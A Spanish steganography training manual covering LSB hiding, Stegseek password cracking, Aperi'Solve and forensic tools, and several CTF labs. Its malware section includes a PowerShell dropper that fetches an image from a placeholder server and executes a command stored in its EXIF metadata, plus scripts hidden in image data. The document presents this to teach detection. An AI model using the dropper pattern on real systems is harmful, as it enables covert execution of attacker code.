GhostAcademy
GhostAcademy
Stegseek & Aperi'Solve — Esteganografía
Manual Completo
Stegseek & Aperi'Solve
Esteganografía: Arte de Ocultar

La esteganografía oculta información dentro de otros archivos sin que sea perceptible a simple vista. Una imagen de una playa puede contener un mensaje, un archivo zip o, en contextos maliciosos, un payload ejecutable. Este manual cubre técnicas de ocultación, herramientas de análisis forense y laboratorios CTF completos.

⚠ Disclaimer LegalEste manual es para CTFs, formación en ciberseguridad y entornos de laboratorio. El análisis de malware esteganográfico debe realizarse en entornos aislados. GhostAcademy promueve la seguridad ética.

¿Por qué es relevante para seguridad?

La esteganografía es una técnica de doble cara: CTF players la usan para crear retos creativos, analistas de malware la encuentran en campañas APT reales donde los atacantes distribuyen payloads ocultos en imágenes aparentemente inocentes adjuntas a correos o alojadas en servicios legítimos de hosting de imágenes.

⚡
Herramienta ofensiva
Stegseek
Cracker de imágenes steganografíadas ultra-rápido. Ataque de diccionario contra steghide a velocidades de 672.000 contraseñas/segundo. El "hashcat" de la esteganografía.
Cracking
🌊
Plataforma web
Aperi'Solve
Plataforma web gratuita que aplica automáticamente 15+ herramientas de análisis esteganográfico sobre una imagen. Visualiza capas de bits, extrae metadatos, detecta datos ocultos.
Análisis
🔒
Herramienta de ocultación
Steghide
La herramienta estándar para ocultar datos en imágenes JPEG/BMP y audio. Usa cifrado AES-128 con contraseña. Target principal de Stegseek.
Embed
🎨
Técnica fundamental
LSB Steganography
Least Significant Bit: ocultar datos modificando el bit menos significativo de cada píxel. Invisible al ojo humano, detectable con análisis estadístico.
Técnica

Flujo Completo: Ocultar y Descubrir

🖼
Carrier
Imagen inocente
photo.jpg (2MB)
PORTADOR
+
📦
Payload
Archivo oculto
secret.zip / flag.txt
SECRETO
+
🔑
Clave
Contraseña opcional
"p4ssw0rd"
PASSWORD
→
⚙️
Steghide
Proceso de
incrustación LSB
PROCESO
→
✅
Stego Image
photo_steg.jpg
Visualmente idéntica
RESULTADO
Fundamentos — 01
🔬 LSB — Least Significant Bit

La técnica LSB es el método más común de esteganografía en imágenes. Modifica solo el bit menos significativo de cada canal de color de cada píxel. El cambio es estadísticamente imperceptible al ojo humano.

Cómo Funciona LSB

Cada píxel en una imagen RGB tiene 3 canales (R, G, B), cada uno representado por 8 bits (0-255). El bit más significativo (MSB) vale 128; el menos significativo (LSB) vale solo 1. Cambiar el LSB produce una diferencia de ±1 en el color — completamente invisible.

ℹ Capacidad LSBUna imagen de 1920×1080 píxeles tiene 2.073.600 píxeles × 3 canales = 6.220.800 bits disponibles. Con LSB de 1 bit por canal, caben 777.600 bytes (≈760 KB) de datos ocultos en una imagen Full HD.

Demostración Visual

MODIFICACIÓN LSB — Píxel Rojo (200, 150, 100)
ORIG R:
1
1
0
0
1
0
0
0
= 200 (canal rojo original)
STEG R:
1
1
0
0
1
0
0
1
= 201 (±1 — invisible)
Original: rgb(200,150,100)
Con LSB: rgb(201,150,100) — ¿ves la diferencia?

El ojo humano no distingue diferencias de ±1 en el valor de color. El payload está perfectamente camuflado.

LSB en Múltiples Bits

Concepto — LSB profundidad variable
# LSB-1: solo el bit 0 — imperceptible (capacidad: 1/8 del tamaño imagen)
# LSB-2: bits 0-1 — casi imperceptible (capacidad: 2/8)
# LSB-4: bits 0-3 — ligeramente visible en análisis (capacidad: 4/8)
# LSB-8: todos los bits — muy visible, destroza la imagen (capacidad: igual al original)

# Python: extraer LSB de una imagen PNG
python3 -c "
from PIL import Image
img = Image.open('photo.png')
pixels = list(img.getdata())
lsb_bits = ''
for px in pixels[:100]:           # primeros 100 pixeles
    for channel in px[:3]:        # R, G, B
        lsb_bits += str(channel & 1)  # extraer LSB
print('LSB bits:', lsb_bits[:48])
print('Chars:', ''.join([chr(int(lsb_bits[i:i+8],2)) for i in range(0,48,8)]))
"
LSB bits: 010001110110100001101111011100110111010001000001
Chars: GhostA  ← texto oculto en los LSB!
Fundamentos — 02
🖼 Formatos y Métodos

Cada formato de imagen tiene características distintas que afectan a la esteganografía. Algunos son ideales para ocultar datos sin degradación; otros son detectables fácilmente.

FormatoCompresiónSoporte steghideLSB viableNotas
JPEGLossy (con pérdida)✓ SíLimitadoLa compresión JPEG destruye LSB al recomprimir. Steghide usa un método especial para JPEG.
PNGLossless (sin pérdida)✗ No✓ IdealPreserva LSB perfectamente. Usar zsteg, SilentEye o custom scripts para PNG.
BMPSin compresión✓ Sí✓ IdealSin compresión — LSB perfectamente preservado. Poco común hoy.
GIFLossless (paleta)✗ NoComplicadoPaleta indexada de 256 colores — LSB modifica el índice, puede cambiar el color visible.
WAV/AUSin compresión✓ Sí✓ IdealSteghide también soporta audio WAV. Técnica de audio LSB.

Magic Bytes — Identificar Formato Real

BASH — Identificar formato real de imagen
# En CTFs, los archivos a menudo tienen extensión incorrecta
file suspicious_image.jpg
suspicious_image.jpg: PNG image data, 800x600, 8-bit/color RGB
# ↑ extensión .jpg pero es realmente un PNG!

# Ver magic bytes directamente
xxd suspicious_image.jpg | head -3
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR  ← PNG
00000000: ffd8 ffe0 0010 4a46 4946 0001            ......JFIF....    ← JPEG
00000000: 4749 4638 3961                            GIF89a            ← GIF
00000000: 4249 544d                                 BITM              ← BMP

# Herramienta identify (ImageMagick)
identify -verbose suspicious_image.jpg | head -20
Image: suspicious_image.jpg
  Format: JPEG (Joint Photographic Experts Group JFIF format)
  Geometry: 1920x1080+0+0
  Colorspace: sRGB
  Type: TrueColor
  Comment: Iñigo was here — try password: ghostacademy  ← metadato con pista!
Stegseek — 01
⚡ Stegseek — Instalación

Stegseek es un cracker de steghide ultra-rápido escrito en C++. Aprovecha el paralelismo moderno para probar cientos de miles de contraseñas por segundo contra imágenes esteganografiadas con steghide.

🔓 Stegseek

Velocidad — Por qué Stegseek es diferente

VELOCIDAD DE CRACKING — Comparativa
stegseek
672.000/s
steghide fuerza bruta
~400/s

Stegseek es ~1680x más rápido que hacer fuerza bruta manual contra steghide. Rockyou.txt (14M contraseñas) se crackea en ~21 segundos.

Instalación

BASH — Instalar Stegseek
# Método 1: DEB package (Kali / Ubuntu / Debian)
wget https://github.com/RickdeJager/stegseek/releases/download/v0.6/stegseek_0.6-1.deb
sudo apt install ./stegseek_0.6-1.deb
stegseek --version
StegSeek version 0.6

# Método 2: Build desde fuente (requiere g++, libsteghide-dev)
sudo apt install libsteghide-dev libmhash-dev g++ cmake -y
git clone https://github.com/RickdeJager/stegseek.git
cd stegseek && cmake . && make && sudo make install

# Método 3: Docker
docker pull rickdejager/stegseek
docker run rickdejager/stegseek stegseek --help

# Instalar steghide (target de stegseek)
sudo apt install steghide -y

# Descargar wordlist rockyou (si no está en Kali)
sudo apt install wordlists -y && gunzip /usr/share/wordlists/rockyou.txt.gz
Stegseek — 02
🔓 Ataque de Diccionario

Stegseek opera exclusivamente contra archivos esteganografiados con steghide. Prueba cada contraseña del diccionario hasta encontrar la correcta o agotar la lista.

🔓 Stegseek

Sintaxis y Modos

BASH — Stegseek: todos los modos
## Modo 1: Ataque de diccionario (uso principal)
stegseek [imagen.jpg] [wordlist.txt]
stegseek secret.jpg /usr/share/wordlists/rockyou.txt

## Modo 2: Especificar archivo de salida
stegseek secret.jpg rockyou.txt extracted_file.bin

## Modo 3: Extraer con contraseña conocida (como steghide)
stegseek --seed secret.jpg
# Extrae solo con la semilla aleatoria (sin contraseña)

## Modo 4: Extraer directamente sin contraseña
stegseek --extract -sf secret.jpg -p "" -xf output.bin

## Ver información del archivo steghide
steghide info secret.jpg
"secret.jpg":
  format: jpeg
  capacity: 4.6 KB
Try to get information about embedded data? (y/n) y
Enter passphrase: 
  embedded file "flag.txt":
    size: 45.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
Stegseek — Ataque diccionario en tiempo real
$ stegseek secret.jpg /usr/share/wordlists/rockyou.txt StegSeek 0.6 — https://github.com/RickdeJager/stegseek [i] Found passphrase: "" ← probando contraseña vacía primero [i] Progress: 0.02% (14448 words) [i] Progress: 1.34% (190320 words) [i] Progress: 8.91% (1264592 words) [i] Found passphrase: "ghostacademy" [i] Original filename: "flag.txt" [i] Extracting to "secret.jpg.out" $ cat secret.jpg.out GhostAcademy{st3g4n0_1s_4rt}
Stegseek — 03
💥 Crackear Imágenes — Técnicas Avanzadas

Más allá del ataque con rockyou.txt: cómo crear wordlists personalizadas, combinar con pistas del CTF y extraer archivos compuestos.

🔓 Stegseek
BASH — Técnicas avanzadas de cracking
# Técnica 1: Usar rockyou.txt completo
stegseek challenge.jpg /usr/share/wordlists/rockyou.txt

# Técnica 2: Wordlist personalizada con pistas del CTF
# Si el CTF da pistas ("contraseña es el nombre del autor + año")
cat > custom_wordlist.txt << EOF
GhostAcademy2024
ghostacademy
GHOST_ACADEMY
ghost2024
academy2024
GhostCtf
EOF
stegseek challenge.jpg custom_wordlist.txt

# Técnica 3: Generar wordlist con crunch
crunch 4 8 abcdefghijklmnopqrstuvwxyz0123456789 -o wordlist_crunch.txt
stegseek challenge.jpg wordlist_crunch.txt

# Técnica 4: Combinar con hashcat para mutaciones
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule base_words.txt > mutated.txt
stegseek challenge.jpg mutated.txt

# Técnica 5: Probar contraseña vacía directamente con steghide
steghide extract -sf challenge.jpg -p "" -f

# Técnica 6: Si el archivo extraído es un ZIP protegido
stegseek challenge.jpg rockyou.txt extracted.zip
zip2john extracted.zip > zip.hash
john zip.hash --wordlist=rockyou.txt
secret_zip_password (extracted.zip/flag.txt)

# Técnica 7: Extraer y analizar binario oculto
stegseek challenge.jpg rockyou.txt payload.bin
file payload.bin
xxd payload.bin | head -5
Aperi'Solve — 01
🌊 Aperi'Solve — Plataforma Web

Aperi'Solve es una plataforma web gratuita que automatiza el análisis esteganográfico aplicando más de 15 herramientas simultáneamente sobre la imagen subida. Ideal para CTFs cuando no sabes qué técnica se usó.

🌊 Aperi'Solve
🌊 Aperi'SolveURL: www.aperisolve.com — Plataforma gratuita. No requiere registro. Subir la imagen y obtiene automáticamente resultados de: zsteg, steghide, foremost, exiftool, binwalk, strings, outguess, stegoveritas y más.
Herramientas que ejecuta Aperi'Solve automáticamente
Análisis de metadatos:
  exiftool     → GPS, timestamps, software, comentarios, thumbnails
  identify     → formato real, profundidad de color, perfil ICC

Esteganografía LSB:
  zsteg        → LSB en PNG/BMP (múltiples modos y canales)
  stegoveritas → análisis LSB exhaustivo, histogramas, detección

Datos ocultos/incrustados:
  steghide     → intenta extraer sin contraseña
  outguess     → formato outguess
  foremost     → carve de archivos incrustados (ZIP, EXE, PDF...)
  binwalk      → firmas de archivos anidados dentro de la imagen

Análisis de strings:
  strings      → texto legible en el binario de la imagen
  strings -e l → strings UTF-16 (Windows)

Análisis visual:
  Visualización de bit-planes (R0-R7, G0-G7, B0-B7)
  Histogramas de color por canal
  Chi-square test para detección LSB
  ELA (Error Level Analysis) para JPEG
Aperi'Solve — 02
🔍 Análisis por Capas de Bits

La vista de bit-planes de Aperi'Solve es su función más poderosa. Muestra la imagen reconstruida usando solo el bit N de cada canal. Si el LSB contiene datos, la capa 0 parecerá "ruidosa" o con patrones no naturales.

🌊 Aperi'Solve

Interpretación de Bit-Planes

💡 Cómo leer los bit-planesUna imagen normal tendrá capas 0 y 1 con aspecto de "ruido aleatorio" (normal) o completamente negras. Si una capa de bit bajo tiene PATRONES RECONOCIBLES — texto, formas, otro QR — eso es una señal clara de datos ocultos en esa capa.
BASH — Ver bit-planes manualmente con Python
python3 << 'EOF'
from PIL import Image
import numpy as np

img = Image.open("suspicious.png").convert("RGB")
arr = np.array(img)

# Extraer y guardar cada bit-plane del canal R
for bit in range(8):
    plane = ((arr[:,:,0] >> bit) & 1) * 255
    plane_img = Image.fromarray(plane.astype(np.uint8), mode='L')
    plane_img.save(f"bit_plane_R{bit}.png")
    print(f"Guardado bit_plane_R{bit}.png")

# Comparar entropía de cada capa
for bit in range(8):
    plane = ((arr[:,:,0] >> bit) & 1)
    ones = plane.sum()
    total = plane.size
    ratio = ones / total
    flag = " ← SOSPECHOSO" if 0.45 < ratio < 0.55 and bit == 0 else ""
    print(f"Bit {bit}: {ones}/{total} = {ratio:.3f}{flag}")
EOF
Bit 0: 261445/480000 = 0.545 ← SOSPECHOSO (no es ruido uniforme)
Bit 1: 237832/480000 = 0.496
Bit 2: 241103/480000 = 0.502
...
Bit 7: 183940/480000 = 0.383  (MSB — mucha variación, normal)

ELA — Error Level Analysis para JPEG

Python — Error Level Analysis
# ELA detecta zonas de la imagen con diferente nivel de compresión
# Las áreas editadas o con datos ocultos tienen niveles distintos
python3 << 'EOF'
from PIL import Image, ImageChops, ImageEnhance
import os

def ela_analysis(image_path, quality=90, scale=10):
    original = Image.open(image_path)
    temp_path = "/tmp/ela_temp.jpg"
    original.save(temp_path, "JPEG", quality=quality)
    temp = Image.open(temp_path)
    
    # Diferencia entre original y recomprimida
    diff = ImageChops.difference(original, temp)
    
    # Amplificar para visualización
    extrema = diff.getextrema()
    max_diff = max([ex[1] for ex in extrema])
    if max_diff != 0:
        scale_factor = 255.0 / max_diff * scale
        diff = ImageEnhance.Brightness(diff).enhance(scale_factor)
    
    diff.save("ela_result.png")
    print("ELA guardado en ela_result.png")
    print("Zonas brillantes = posibles modificaciones o datos ocultos")

ela_analysis("suspicious.jpg")
EOF
Aperi'Solve — 03
🛠 Herramientas del Arsenal

Las herramientas que Aperi'Solve ejecuta internamente, disponibles también de forma independiente en Kali Linux para análisis más profundo.

🔍 zsteg — LSB en PNG/BMP
# Instalar
gem install zsteg

# Análisis completo LSB
zsteg image.png -a

# Canal específico
zsteg image.png -c red -b 1

# Extraer datos del canal detectado
zsteg image.png -E "b1,rgb,lsb,xy" > out.bin

imagedata .. text: "GhostAcademy{flag}"
b1,rgb,lsb,xy .. file: ZIP archive
🗂 binwalk — Archivos incrustados
# Buscar firmas en imagen
binwalk image.png

# Extraer automáticamente
binwalk -e image.png
ls _image.png.extracted/

# Solo firmas de archivos conocidos
binwalk -B image.png

0 PNG image
245678 Zip archive data
245890 End of Zip archive
✂ foremost — File Carving
# Recuperar archivos incrustados
foremost -i image.png -o /tmp/carved
ls /tmp/carved/

audit.txt jpg/ zip/ exe/

# Solo buscar ZIPs y EXEs
foremost -t zip,exe -i image.png -o /tmp/out

# Ver el audit
cat /tmp/carved/audit.txt
Num Name Size Note
0 zip 4096 Found at 245678
📋 exiftool — Metadatos
# Todos los metadatos
exiftool image.jpg

# Solo comentarios (pistas CTF)
exiftool -Comment image.jpg
Comment: password=gh0stAc4d

# GPS embed (datos en metadatos)
exiftool -GPSLatitude image.jpg

# Buscar en todos los campos
exiftool -s image.jpg | grep -i "flag\|pass\|key"
Ocultar Datos — 01
🔒 Steghide — Ocultar Archivos

Steghide es la herramienta estándar para ocultar datos en imágenes JPEG/BMP y audio WAV/AU. Usa cifrado AES-128 con una contraseña. Es el formato que Stegseek crackea.

BASH — Steghide: ocultar y extraer
## OCULTAR un archivo en una imagen
steghide embed -cf portadora.jpg -sf secreto.txt -p "mi_password"
# -cf: cover file (imagen portadora)
# -sf: secret file (archivo a ocultar)
# -p:  passphrase

## Ejemplo completo con flag CTF
echo "GhostAcademy{st3g4n0_m4st3r}" > flag.txt
steghide embed -cf foto_playa.jpg -sf flag.txt -p "rockyou" -f
wrote 30 bytes in cover file.

## VERIFICAR que tiene datos ocultos
steghide info foto_playa.jpg
"foto_playa.jpg":
  format: jpeg
  capacity: 4.6 KB
Try to get information about embedded data? (y/n) y
Enter passphrase: rockyou
  embedded file "flag.txt":
    size: 31.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

## EXTRAER conociendo la contraseña
steghide extract -sf foto_playa.jpg -p "rockyou" -f
wrote extracted data to "flag.txt".
cat flag.txt
GhostAcademy{st3g4n0_m4st3r}

## Steghide sin contraseña (contenido sin cifrar)
steghide embed -cf image.jpg -sf data.txt -p ""
steghide extract -sf image.jpg -p ""
Ocultar Datos — 02
🧰 Otras Herramientas de Esteganografía

Más allá de steghide: herramientas especializadas para PNG, GIF, audio y técnicas más avanzadas que aparecen en CTFs de nivel medio-alto.

BASH — Arsenal completo de herramientas steg
## SilentEye — GUI para ocultar en PNG/JPEG/WAV
sudo apt install silenteye -y
# Interfaz gráfica: arrastra imagen → configura → oculta

## stegano — LSB en PNG (Python)
pip3 install stegano
python3 -c "
from stegano import lsb
# Ocultar texto en PNG
secret = lsb.hide('imagen.png', 'GhostAcademy{lsb_png_flag}')
secret.save('imagen_steg.png')
# Revelar texto
msg = lsb.reveal('imagen_steg.png')
print('Oculto:', msg)
"

## outguess — formato propio, común en CTFs
sudo apt install outguess -y
outguess -k "clave" -d secreto.txt imagen.jpg salida.jpg
outguess -k "clave" -r salida.jpg extraido.txt

## openstego — steganografía + watermarking
wget https://github.com/syvaidya/openstego/releases/latest/download/openstego.jar
java -jar openstego.jar embed -mf secreto.txt -cf imagen.png -sf resultado.png -p clave
java -jar openstego.jar extract -sf resultado.png -od /tmp/ -p clave

## stegpy — audio+imagen LSB
pip3 install stegpy
stegpy secreto.txt imagen.png -p password   # ocultar
stegpy imagen_steg.png -p password           # revelar

## Datos en comentarios EXIF (método sigiloso)
exiftool -Comment="GhostAcademy{exif_flag}" imagen.jpg
exiftool -Comment imagen.jpg
Comment: GhostAcademy{exif_flag}
Ocultar Datos — 03
☠️ Malware en Imágenes — Casos Reales

En el mundo real, los atacantes utilizan esteganografía para distribuir payloads maliciosos evadiendo detecciones. Una imagen adjunta a un email o alojada en un CDN puede contener un script PowerShell o un ejecutable completo.

⚠ Contexto educativoEsta sección describe técnicas documentadas usadas por grupos APT reales. El objetivo es entender el vector para poder defenderse. Todo el código es para laboratorio y CTF únicamente.

Técnica 1 — Payload en Metadatos EXIF

BASH — Payload PowerShell en metadatos EXIF
# Técnica usada por varios grupos APT:
# Ocultar comando en campo de metadatos de imagen
# El dropper lee el campo y lo ejecuta

# Incrustar comando en el campo Copyright de una imagen
exiftool -Copyright='Write-Host "GhostAcademy Lab Payload"' imagen.jpg

# El dropper (script) lee y ejecuta el metadato
cat dropper.ps1
$img = "http://servidor/imagen.jpg"
$wc = New-Object System.Net.WebClient
$bytes = $wc.DownloadData($img)
[System.IO.File]::WriteAllBytes("C:\Temp\img.jpg", $bytes)

# Leer metadato con Add-Type y Shell.Application
$shell = New-Object -ComObject Shell.Application
$folder = $shell.NameSpace("C:\Temp")
$file = $folder.ParseName("img.jpg")
$cmd = $file.ExtendedProperty("System.Copyright")
Invoke-Expression $cmd  # ejecutar el payload

# Detección: CUALQUIER proceso que lea metadatos EXIF
# y luego llame a Invoke-Expression es sospechoso

Técnica 2 — Ejecutable al Final del JPEG

BASH — Appending: añadir datos al final de una imagen
# Los visores de imagen leen hasta el EOF del formato (FFD9 en JPEG)
# Todo lo que viene después es ignorado por los visores
# pero está accesible como datos del archivo

# Crear payload de laboratorio
echo '#!/bin/bash' > lab_payload.sh
echo 'echo "GhostAcademy Lab — Payload ejecutado desde imagen"' >> lab_payload.sh
echo 'echo "Hostname: $(hostname)"' >> lab_payload.sh

# Comprimir para reducir tamaño
gzip lab_payload.sh

# Añadir al final de la imagen (appending)
cat foto_inocente.jpg lab_payload.sh.gz > foto_con_payload.jpg

# El archivo es visualmente idéntico — los visores lo muestran igual
# Verificar que sigue siendo una imagen válida
file foto_con_payload.jpg
foto_con_payload.jpg: JPEG image data, JFIF standard 1.01

# Detectar con binwalk
binwalk foto_con_payload.jpg
DECIMAL       HEXADECIMAL     DESCRIPTION
------------------------------------------------------
0             0x0             JPEG image data
245678        0x3BE2E         gzip compressed data

# Extraer el payload oculto
binwalk -e foto_con_payload.jpg
ls _foto_con_payload.jpg.extracted/
3BE2E       3BE2E.gz
gunzip _foto_con_payload.jpg.extracted/3BE2E.gz
cat _foto_con_payload.jpg.extracted/3BE2E
#!/bin/bash
echo "GhostAcademy Lab — Payload ejecutado desde imagen"

Técnica 3 — PowerShell Oculto en LSB (Caso Real)

Python — Incrustar y extraer script en LSB de PNG
# Caso basado en técnicas documentadas de APT — versión educativa
# El payload es un script inofensivo para el lab

cat << 'EOF' > embed_lsb.py
from PIL import Image
import struct

def embed_in_lsb(image_path, payload_bytes, output_path):
    img = Image.open(image_path).convert("RGB")
    pixels = list(img.getdata())
    
    # Cabecera: longitud del payload en 4 bytes
    header = struct.pack(">I", len(payload_bytes))
    data = header + payload_bytes
    bits = ''.join(format(b, '08b') for b in data)
    
    if len(bits) > len(pixels) * 3:
        raise ValueError(f"Imagen demasiado pequeña. Necesita {len(bits)//3} pixeles.")
    
    new_pixels = []
    bit_idx = 0
    for px in pixels:
        new_px = list(px)
        for c in range(3):
            if bit_idx < len(bits):
                # Sustituir LSB del canal con nuestro bit
                new_px[c] = (new_px[c] & 0xFE) | int(bits[bit_idx])
                bit_idx += 1
        new_pixels.append(tuple(new_px))
    
    out = Image.new("RGB", img.size)
    out.putdata(new_pixels)
    out.save(output_path, "PNG")
    print(f"[+] {len(payload_bytes)} bytes ocultos en {output_path}")

# Payload de laboratorio: script bash inofensivo
payload = b"#!/bin/bash
echo 'GhostAcademy{lsb_payload_found}'
hostname"
embed_in_lsb("foto_normal.png", payload, "foto_con_lsb.png")
EOF
python3 embed_lsb.py
[+] 58 bytes ocultos en foto_con_lsb.png

# Detección con zsteg
zsteg foto_con_lsb.png
imagedata .. text: "#!/bin/bash
echo 'GhostAcademy{lsb_payload_found}'"
Laboratorio — 01
🧪 Lab: Crear el Reto CTF

Diseñar y construir un reto de esteganografía completo: elegir la técnica, preparar el carrier, ocultar la flag y preparar las pistas para el jugador.

🧪LAB-STEG-01 — Construir reto steghide con pistasFÁCIL

Ocultar una flag con steghide en una imagen JPEG. La contraseña se obtiene de los metadatos EXIF. El jugador necesita examinar los metadatos, encontrar la contraseña y extraer la flag con steghide o stegseek.

BASH — Crear reto completo
## PASO 1: Preparar el carrier (imagen normal)
wget -q "https://picsum.photos/800/600.jpg" -O challenge.jpg
# O usar cualquier imagen JPEG de Internet

## PASO 2: Crear la flag
echo "GhostAcademy{3x1f_m3t4d4t4_s3cr3t_p4ss}" > flag.txt

## PASO 3: Ocultar la flag con steghide
# Contraseña: "phantom2024" (la esconderemos en EXIF)
steghide embed -cf challenge.jpg -sf flag.txt -p "phantom2024" -f
wrote 45 bytes in cover file.

## PASO 4: Dejar la contraseña como pista en EXIF
# Ofuscada: convertir a Base64 para que no sea trivial
PASS_B64=$(echo -n "phantom2024" | base64)
echo "Contraseña en b64: $PASS_B64"
Contraseña en b64: cGhhbnRvbTIwMjQ=

exiftool -Artist="GhostAcademy CTF"          -Comment="The key is hidden: cGhhbnRvbTIwMjQ="          -Software="Photoshop CS6"          challenge.jpg

## PASO 5: Verificar el reto
exiftool challenge.jpg | grep -E "Artist|Comment|Software"
Artist          : GhostAcademy CTF
Comment         : The key is hidden: cGhhbnRvbTIwMjQ=
Software        : Photoshop CS6

## PASO 6: Confirmar que el reto es resoluble
EXTRACTED_PASS=$(echo "cGhhbnRvbTIwMjQ=" | base64 -d)
steghide extract -sf challenge.jpg -p "$EXTRACTED_PASS" -f
wrote extracted data to "flag.txt".
cat flag.txt
GhostAcademy{3x1f_m3t4d4t4_s3cr3t_p4ss}
Laboratorio — 02
🧪 Lab: Resolver el Reto CTF

Metodología completa para resolver un reto de esteganografía desde cero, sin saber qué técnica se usó. El flujo de análisis que usa un CTF player experimentado.

🧪LAB-STEG-02 — Metodología de resolución CTFMEDIO

Recibes challenge.jpg. Sin pistas adicionales. Aplicar la metodología estándar hasta encontrar la flag.

1
Identificar el archivo
BASH — Fase 1: Reconocimiento
file challenge.jpg
challenge.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), 72 x 72

xxd challenge.jpg | head -3
ffd8 ffe0 0010 4a46 4946  ← magic bytes JPEG correctos

ls -la challenge.jpg
-rw-r--r-- 1 user user 245823 Jan 15 14:30 challenge.jpg
# Tamaño sospechosamente grande para una imagen normal? Investigar.
2
Analizar metadatos con exiftool
BASH — Fase 2: Metadatos
exiftool challenge.jpg
...
Artist          : GhostAcademy CTF
Comment         : The key is hidden: cGhhbnRvbTIwMjQ=  ← PISTA!
Software        : Photoshop CS6
...

# Decodificar el Base64 del Comment
echo "cGhhbnRvbTIwMjQ=" | base64 -d
phantom2024  ← contraseña encontrada!
3
Extraer datos ocultos
BASH — Fase 3: Extracción
# Intentar steghide con la contraseña encontrada
steghide extract -sf challenge.jpg -p "phantom2024"
wrote extracted data to "flag.txt".

cat flag.txt
GhostAcademy{3x1f_m3t4d4t4_s3cr3t_p4ss}

# Alternativa: stegseek si no tenemos la contraseña
stegseek challenge.jpg /usr/share/wordlists/rockyou.txt
[i] Found passphrase: "phantom2024"
[i] Extracting to "challenge.jpg.out"
Laboratorio — 03
🧪 Lab: Payload Oculto en PNG

Recrear el escenario de malware esteganográfico: un atacante distribuye una imagen PNG que contiene un script de shell oculto en los LSBs. El analista debe encontrarlo y extraerlo.

🧪LAB-STEG-03 — PNG con payload en LSB: crear y analizarAVANZADO

Simular el ciclo completo de un vector de ataque esteganográfico: ocultar un payload en LSB de PNG, distribuirlo como imagen aparentemente inocente, y analizarlo con Aperi'Solve + zsteg.

Python + BASH — Crear imagen con payload LSB
## PARTE A: ATACANTE — Ocultar payload en PNG

# Script de laboratorio (payload inofensivo)
cat << 'PAYLOAD' > lab_payload.sh
#!/bin/bash
# GhostAcademy Lab Payload — Inofensivo
echo "[+] Payload extraído de imagen PNG"
echo "[+] Hostname: $(hostname)"
echo "[+] Usuario: $(whoami)"
echo "[+] Flag: GhostAcademy{lsb_png_p4yl04d_3xtr4ct3d}"
PAYLOAD

# Script Python para incrustar en PNG
cat << 'EOF' > embed_payload.py
from PIL import Image
import struct

def embed(img_path, payload_path, out_path):
    with open(payload_path, 'rb') as f:
        payload = f.read()
    
    img = Image.open(img_path).convert('RGB')
    pixels = list(img.getdata())
    
    # Magic header: GHOS + longitud en 4 bytes
    magic = b'GHOS'
    header = magic + struct.pack('>I', len(payload))
    data = header + payload
    bits = ''.join(f'{b:08b}' for b in data)
    
    if len(bits) > len(pixels) * 3:
        raise ValueError("Imagen demasiado pequeña para el payload")
    
    new_pixels = []
    bit_idx = 0
    for px in pixels:
        r, g, b = px
        if bit_idx < len(bits):
            r = (r & 0xFE) | int(bits[bit_idx]); bit_idx += 1
        if bit_idx < len(bits):
            g = (g & 0xFE) | int(bits[bit_idx]); bit_idx += 1
        if bit_idx < len(bits):
            b = (b & 0xFE) | int(bits[bit_idx]); bit_idx += 1
        new_pixels.append((r, g, b))
    
    out = Image.new('RGB', img.size)
    out.putdata(new_pixels)
    out.save(out_path, 'PNG', optimize=False)
    print(f"[+] Payload incrustado: {len(payload)} bytes en {out_path}")
    print(f"[+] Imagen original e imagen con payload son visualmente idénticas")

embed('foto_inocente.png', 'lab_payload.sh', 'foto_maliciosa.png')
EOF
python3 embed_payload.py
[+] Payload incrustado: 189 bytes en foto_maliciosa.png
[+] Imagen original e imagen con payload son visualmente idénticas

## PARTE B: ANALISTA — Detectar y extraer el payload

# 1. Subir a Aperi'Solve (www.aperisolve.com) para análisis automático
# 2. O analizar localmente:
zsteg foto_maliciosa.png -a
imagedata .. text: "GHOS½#!/bin/bash
# GhostAcademy Lab Payload"
# zsteg detecta el magic header GHOS y el contenido!

# Extraer con script Python
cat << 'EOF' > extract_payload.py
from PIL import Image
import struct

def extract(img_path):
    img = Image.open(img_path).convert('RGB')
    pixels = list(img.getdata())
    
    # Extraer todos los LSBs
    bits = ''
    for px in pixels:
        for c in px:
            bits += str(c & 1)
    
    # Convertir a bytes
    data = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits)-7, 8))
    
    # Buscar magic header
    idx = data.find(b'GHOS')
    if idx == -1:
        print("[-] No se encontró magic header GHOS")
        return
    
    length = struct.unpack('>I', data[idx+4:idx+8])[0]
    payload = data[idx+8:idx+8+length]
    
    print(f"[+] Magic header encontrado en offset {idx}")
    print(f"[+] Longitud del payload: {length} bytes")
    print(f"[+] Payload extraído:")
    print(payload.decode('utf-8', errors='replace'))
    
    with open('payload_extraido.sh', 'wb') as f:
        f.write(payload)
    print("[+] Guardado en payload_extraido.sh")

extract('foto_maliciosa.png')
EOF
python3 extract_payload.py
[+] Magic header encontrado en offset 0
[+] Longitud del payload: 189 bytes
[+] Payload extraído:
#!/bin/bash
# GhostAcademy Lab Payload — Inofensivo
echo "[+] Payload extraído de imagen PNG"
echo "[+] Flag: GhostAcademy{lsb_png_p4yl04d_3xtr4ct3d}"
[+] Guardado en payload_extraido.sh
Laboratorio — 04
🧪 Lab: Reto Multicapa

El reto más completo: una imagen con capas múltiples de ocultación que requieren combinar varias herramientas para resolver. El tipo de reto que aparece en CTFs de nivel avanzado.

🧪LAB-STEG-04 — Multicapa: metadatos → ZIP → steghide → flagAVANZADO

Cadena de desafíos en un solo archivo: exiftool revela un ZIP contraseñado, el ZIP contiene otra imagen con steghide, steghide tiene la flag final.

BASH — Crear reto multicapa
## CONSTRUIR el reto (perspectiva del autor)

# Capa 3 (más profunda): flag oculta con steghide
echo "GhostAcademy{mult1l4y3r_st3g_m4st3r_2024}" > final_flag.txt
steghide embed -cf inner_image.jpg -sf final_flag.txt -p "gr0undz3r0" -f

# Capa 2: comprimir la imagen en un ZIP contraseñado
zip -P "sp3ctr3" layer2.zip inner_image.jpg

# Capa 1: ocultar la contraseña del ZIP en metadatos EXIF
# La contraseña del steghide ("gr0undz3r0") va en el campo GPS
exiftool -GPSLatitude="47.3456"          -GPSLongitude="8.5412"          -Comment="Coordinates lead the way. ZIP awaits."          -XPComment="VGhlIHJlYWwga2V5OiBzcDNjdHIz"          outer_challenge.jpg
